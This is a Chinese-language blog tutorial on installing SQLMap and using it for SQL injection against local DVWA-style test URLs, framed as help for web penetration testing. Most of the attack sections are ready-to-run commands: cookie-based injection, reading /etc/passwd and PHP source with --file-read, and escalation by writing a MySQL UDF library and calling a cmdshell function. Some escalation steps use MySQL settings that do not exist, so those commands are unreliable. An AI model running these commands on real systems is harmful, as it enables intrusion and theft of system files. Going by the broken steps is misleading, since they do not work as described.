一、安裝Python
1、下載Python安裝包
訪問Python官網(https://www.python.org/downloads/),選擇「Download」-「Windows」-「Latest Python 3 Release」,下載對應的Python安裝包。
https://www.python.org/downloads/windows/
2、安裝Python
運行Python安裝包,選擇「Customize installation」自定義安裝。在「Optional features」中勾選「Add Python 3.x to PATH」,方便後續使用。
// 添加Python到系統環境變數 SET PATH=%PATH%;C:\Python3x;C:\Python3x\Scripts
二、安裝SQLMap
1、下載SQLMap
訪問SQLMap官網(http://sqlmap.org/),選擇「Download」-「sqlmap.zip」,下載對應的SQLMap壓縮包。
http://sqlmap.org/
2、解壓SQLMap
將下載的SQLMap壓縮包解壓縮到指定目錄,例如解壓到「D:\sqlmap」目錄下。
// 解壓SQLmap unzip sqlmap.zip // 進入sqlmap目錄 cd D:\sqlmap
三、檢測SQLMap是否安裝成功
打開命令行窗口,進入SQLMap安裝目錄。
// 命令行中輸入以下命令 cd /d D:\sqlmap python sqlmap.py
如果SQLMap安裝成功,則會顯示SQLMap的版本號,版權信息等相關信息。
四、使用SQLMap進行基本注入
1、查找注入點
使用SQLMap需要先確定有注入漏洞,使用一些注入漏洞掃描器可以輔助查找注入點。例如:使用OWASP ZAP進行漏洞掃描。
2、使用SQLMap進行注入
在命令行中輸入以下命令,使用SQLMap進行漏洞利用注入:
python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" --threads=10
-u指定漏洞URL鏈接地址,–threads=10指定使用10個線程進行注入。
五、使用SQLMap進行高級注入
1、指定注入參數
使用SQLMap的-p參數可以指定注入參數。
python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id
2、指定注入類型
使用SQLMap的–level和–risk參數可以指定注入類型。
python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --level=5 --risk=3
3、使用Cookie進行注入
使用SQLMap的–cookie參數可以指定Cookie進行注入。
python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?Unlogged=true" --cookie="PHPSESSID=xxxxxxxxxx; security=low;" --level=5 --risk=3
六、使用SQLMap進行文件讀取
使用SQLMap進行基於文件讀取的攻擊是一個高級用法,需要了解目標後台資料庫的文件存儲結構,以及Web伺服器的文件訪問規則。
1、讀取PHP源代碼
python sqlmap.py -u "http://localhost/vulnerabilities/fi/?page=include.php" --file-read=/var/www/html/includes/application_top.php
2、讀取系統文件
python sqlmap.py -u "http://localhost/vulnerabilities/fi/?page=include.php" --file-read=/etc/passwd
七、使用SQLMap進行提權攻擊
使用SQLMap進行基於提權攻擊也是一個高級的用法,需要了解目標後台資料庫的工作環境,以及操作系統提權的方法。
假設目標後台資料庫是MySQL,且MySQL服務以root身份運行。
1、上傳MySQL UDF庫文件
python sqlmap.py -u "http://localhost/file_upload.php" --file-write="mysql_udf.so" --file-dest="/tmp/mysql_udf.so"
2、設置環境變數
python sqlmap.py -u "http://localhost/file_upload.php" --sql-query="SET GLOBAL local_infile=1; SET @@session.expire_logs_seconds=1; SET @@global.install_plugin='mysql_udf.so'; SELECT @@global.install_plugin;"
3、載入MySQL UDF庫文件
python sqlmap.py -u "http://localhost/file_upload.php" --sql-query="CREATE FUNCTION cmdshell RETURNS STRING SONAME 'mysql_udf.so'"
4、執行提權命令
python sqlmap.py -u "http://localhost/file_upload.php" --sql-query="SELECT cmdshell('whoami');"
八、總結
本文介紹了SQLMap的安裝和基本使用,以及使用SQLMap進行高級注入、文件讀取和提權攻擊的方法,希望能夠為大家在Web滲透測試中提供幫助。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/254979.html